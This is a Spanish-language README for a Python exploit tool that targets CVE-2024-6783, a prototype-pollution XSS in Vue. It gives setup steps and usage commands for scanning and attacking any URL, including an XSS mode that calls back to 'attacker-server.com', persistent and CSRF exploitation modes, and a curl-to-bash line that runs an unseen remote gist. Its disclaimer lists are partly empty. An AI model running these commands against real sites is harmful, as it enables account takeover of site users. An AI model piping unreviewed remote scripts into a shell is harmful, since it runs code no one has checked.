
CVE-2024-6783 - Vue CVE
Se ha descubierto una vulnerabilidad en Vue que permite a un atacante realizar XSS mediante contaminación de prototipos. El atacante podría modificar la cadena de prototipos de algunas propiedades como Object.prototype.staticClass o Object.prototype.staticStyle para ejecutar código JavaScript arbitrario.
Apoya el mantenimiento de este proyecto con PayPal o escaneando el código QR a continuación.
Utilice este proyecto únicamente en entornos seguros y autorizados, como:
Configuración de ejemplo:
git clone https://github.com/HORKimhab/CVE-2024-6783
cd CVE-2024-6783
# Project use python follow below
# Create a virtual environment
python -m venv venv
# Activate the virtual environment
# macOS / Linux
source venv/bin/activate
# Windows (Git Bash / WSL)
source venv/Scripts/activate
# Install requirments
pip install -r requirements.txt
Ejemplo de uso:
# scan only
python cve-2024-6783.py -u https://example.com -v
# Scan & XSS Exploit
python cve-2024-6783.py -u https://example.com -e xss
# XSS Exploit with Callback
python cve-2024-6783.py -u https://example.com -e xss -c http://attacker-server.com/callback
# Automatic Callback Server
python cve-2024-6783.py -u https://example.com -e persistent -c auto
# CSRF Exploitation
python cve-2024-6783.py -u https://example.com -e csrf
# Full Scan and Exploit with Verbose Output
python cve-2024-6783.py -u https://example.com -e xss -c auto -v -o evidence.html
Nota:
curl -fsSL https://gist.githubusercontent.com/HORKimhab/24c89ee9a86a42aac88381334f8bfe48/raw | bash -s -- -y para limpiar el directorio .git anidadoUn repositorio para aprender, probar e investigar conceptos de ciberseguridad en entornos controlados.
Este repositorio es únicamente para investigación de seguridad educativa y autorizada.
Está diseñado para ayudar a los usuarios a aprender sobre:
Utilice este repositorio únicamente en entornos donde tenga permiso, como:
El uso no autorizado o ilegal está estrictamente prohibido.
El autor y los colaboradores no son responsables de ningún daño, uso indebido, problema legal o pérdida causada por este proyecto.
Al usar este repositorio, aceptas que:
Este proyecto está destinado a:
Por favor, sigue las prácticas de divulgación responsable y cumple con todas las leyes aplicables.
Para divulgación responsable o colaboración, contacta al mantenedor del repositorio a través de GitHub.